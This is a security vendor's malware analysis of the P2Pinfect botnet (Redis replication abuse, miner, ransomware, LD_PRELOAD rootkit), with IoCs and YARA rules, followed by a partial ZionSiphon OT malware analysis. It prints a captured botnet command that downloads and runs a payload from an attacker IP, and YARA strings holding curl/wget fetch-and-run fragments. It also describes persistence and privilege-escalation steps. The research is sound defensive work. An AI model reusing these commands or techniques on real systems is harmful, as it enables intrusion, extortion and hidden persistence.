Blog
/
Cloud
/
June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

April 16, 2026

Why Behavioral AI Is the Answer to Mythos

mythos behavioral aiDefault blog imageDefault blog image

How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

Continue reading
About the author
Ed Jennings
President and CEO

Blog

/

OT

/

April 16, 2026

Inside ZionSiphon: Darktrace’s Analysis of OT Malware Targeting Israeli Water Systems

zionsiphonDefault blog imageDefault blog image

What is ZionSiphon?

Darktrace recently analyzed a malware sample, which identifies itself as ZionSiphon. This sample combines several familiar host-based capabilities, including privilege escalation, persistence, and removable-media propagation, with targeting logic themed around water treatment and desalination environments.

This blog details Darktrace’s investigation of ZionSiphon, focusing on how the malware identifies targets, establishes persistence, attempts to tamper with local configuration files, and scans for Operational Technology (OT)-relevant services on the local subnet. The analysis also assesses what the code suggests about the threat actor’s intended objectives and highlights where the implementation appears incomplete.

Function “ZionSiphon()” used by the malware author.
Figure 1: Function “ZionSiphon()” used by the malware author.

Targets and motivations

Israel-Focused Targeting and Messaging

The clearest indicators of intent in this sample are its hardcoded Israel-focused targeting checks and the strong political messaging found in some strings in the malware’s binary.

In the class initializer, the malware defines a set of IPv4 ranges, including “2.52.0.0-2.55.255.255”, “79.176.0.0-79.191.255.255”, and “212.150.0.0-212.150.255.255”, indicating that the author intended to restrict execution to a narrow range of addresses. All of the specified IP blocks are geographically located within Israel.

The malware obfuscates the IP ranges by encoding them in Base64.
Figure 2: The malware obfuscates the IP ranges by encoding them in Base64.

The ideological motivations behind this malware are also seemingly evident in two Base64-encoded strings embedded in the binary. The first (shown in Figure 1) is:

Netanyahu = SW4gc3VwcG9ydCBvZiBvdXIgYnJvdGhlcnMgaW4gSXJhbiwgUGFsZXN0aW5lLCBhbmQgWWVtZW4gYWdhaW5zdCBaaW9uaXN0IGFnZ3Jlc3Npb24uIEkgYW0gIjB4SUNTIi4=“, which decodes to “In support of our brothers in Iran, Palestine, and Yemen against Zionist aggression. I am "0xICS".

The second string, “Dimona = UG9pc29uaW5nIHRoZSBwb3B1bGF0aW9uIG9mIFRlbCBBdml2IGFuZCBIYWlmYQo=“, decodes to “Poisoning the population of Tel Aviv and Haifa”.  These strings do not appear to be used by the malware for any operational purpose, but they do offer an indication of the attacker’s motivations. Dimona, referenced in the second string, is an Israeli city in the Negev desert, primarily known as the site of the Shimon Peres Negev Nuclear Research Center.

The Dimona string as it appears in the decompiled malware, with the Base64-decoded text.
Figure 3: The Dimona string as it appears in the decompiled malware, with the Base64-decoded text.

The hardcoded IP ranges and propaganda‑style text suggest politically motivated intent, with Israel appearing to be a likely target.

Water and desalination-themed targeting?

The malware also includes Israel-linked strings in its target list, including “Mekorot, “Sorek”, “Hadera”, “Ashdod”, “Palmachim”, and “Shafdan”. All of the strings correspond to components of Israel’s national water infrastructure: Mekorot is Israel’s national water company responsible for managing the country’s water system, including major desalination and wastewater projects. Sorek, Hadera, Ashdod, and Palmachim are four of Israel’s five major seawater desalination plants, each producing tens of millions of cubic meters of drinking water annually. Shafdan is the country’s central wastewater treatment and reclamation facility. Their inclusion in ZionSiphon’s targeting list suggests an interest in infrastructure linked to Israel’s water sector.

Strings in the target list, all related to Israel and water treatment.
Figure 4: Strings in the target list, all related to Israel and water treatment.

Beyond geographic targeting, the sample contains a second layer of environment-specific checks aimed at water treatment and desalination systems. In the function ”IsDamDesalinationPlant()”, the malware first inspects running process names for strings such as “DesalPLC”, “ROController”, “SchneiderRO”, “DamRO”, “ReverseOsmosis”, “WaterGenix”, “RO_Pump”, “ChlorineCtrl”, “WaterPLC”, “SeaWaterRO”, “BrineControl”, “OsmosisPLC”, “DesalMonitor”, “RO_Filter”, “ChlorineDose”, “RO_Membrane”, “DesalFlow”, “WaterTreat”, and “SalinityCtrl”. These strings are directly related to desalination, reverse osmosis, chlorine handling, and plant control components typically seen in the water treatment industry.

The filesystem checks reinforce this focus. The code looks for directories such as “C:\Program Files\Desalination”, “C:\Program Files\Schneider Electric\Desal”, “C:\Program Files\IDE Technologies”, “C:\Program Files\Water Treatment”, “C:\Program Files\RO Systems”, “C:\Program Files\DesalTech”, “C:\Program Files\Aqua Solutions”, and “C:\Program Files\Hydro Systems”, as well as files including “C:\DesalConfig.ini”, “C:\ROConfig.ini”, “C:\DesalSettings.conf”, “C:\Program Files\Desalination\system.cfg”, “C:\WaterTreatment.ini”, “C:\ChlorineControl.dat”, “C:\RO_PumpSettings.ini”, and “C:\SalinityControl.ini.”

Malware Analysis

Privilege Escalation

The “RunAsAdmin” function from the malware sample.
Figure 5: The “RunAsAdmin” function from the malware sample.


The malware’s first major action is to check whether it is running with administrative rights. The “RunAsAdmin()” function calls “IsElevated()”, which retrieves the current Windows identity and checks whether it belongs to the local Administrators group. If the process is already elevated, execution proceeds normally.

The “IsElevated” function as seen in the sample.
Figure 6: The “IsElevated” function as seen in the sample.


If not, the code waits on the named mutex and launches “powershell.exe” with the argument “Start-Process -FilePath <current executable> -Verb RunAs”, after which it waits for that process to finish and then exits.

Persistence and stealth installation

Registry key creation.
Figure 7: Registry key creation.

Persistence is handled by “s1()”. This routine opens “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”, retrieves the current process path, and compares it to “stealthPath”. If the current file is not already running from that location, it copies itself to the stealth path and sets the copied file’s attributes to “hidden”.

The code then creates a “Run” value named “SystemHealthCheck” pointing to the stealth path. Because “stealthPath” is built from “LocalApplicationData” and the hardcoded filename “svchost.exe”, the result is a user-level persistence mechanism that disguises the payload under a familiar Windows process name. The combination of a hidden file and a plausible-sounding autorun value suggests an intent to blend into ordinary Windows artifacts rather than relying on more complex persistence methods.

Target determination

The malware’s targeting determination is divided between “IsTargetCountry()” and “IsDamDesalinationPlant()”. The “IsTargetCountry()” function retrieves the local IPv4 address, converts it to a numeric value, and compares it against each of the hardcoded ranges stored in “ipRanges”. Only if the address falls within one of these ranges does the code move on to next string-comparison step, which ultimately determines whether the country check succeeded.

The main target validation function.
Figure 8: The main target validation function.
 The “IsTargetCountry” function.
Figure 9 : The “IsTargetCountry” function.


IsDamDesalinationPlant()” then assesses whether the host resembles a relevant OT environment. It first scans running process names for the hardcoded strings previously mentioned, followed by checks for the presence of any of the hardcoded directories or files. The intended logic is clear: the payload activates only when both a geographic condition and an environment specific condition related to desalination or water treatment are met.

Figure. 10: An excerpt of the list of strings used in the “IsDamDesalinationPlant” function

Why this version appears dysfunctional

Although the file contains sabotage, scanning, and propagation functions, the current sample appears unable to satisfy its own target-country checking function even when the reported IP falls within the specified ranges. In the static constructor, every “ipRanges” entry is associated with the same decoded string, “Nqvbdk”, derived from “TnF2YmRr”. Later, “IsTargetCountry()” (shown in Figure 8) compares that stored value against “EncryptDecrypt("Israel", 5)”.

The “EncryptDecrypt” function
Figure 11: The “EncryptDecrypt” function

As implemented, “EncryptDecrypt("Israel", 5)” does not produce “Nqvbdk”, it produces a different string. This function seems to be a basic XOR encode/decode routine, XORing the string “Israel” with value of 5. Because the resulting output does not match “Nqvbdk” the comparison always fails, even when the host IP falls within one of the specified ranges. As a result, this build appears to consistently determine that the device is not a valid target. This behavior suggests that the version is either intentionally disabled, incorrectly configured, or left in an unfinished state. In fact, there is no XOR key that would transform “Israel” into “Nqvbdk” using this function.

Self-destruct function

The “SelfDestruct” function
Figure 12: The “SelfDestruct” function

If IsTargetCountry() returns false, the malware invokes “SelfDestruct()”. This routine removes the SystemHealthCheck value from “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”, writes a log file to “%TEMP%\target_verify.log” containing the message “Target not matched. Operation restricted to IL ranges. Self-destruct initiated.” and creates the batch file “%TEMP%\delete.bat”. This file repeatedly attempts to delete the malware’s executable, before deleting itself.

Local configuration file tampering

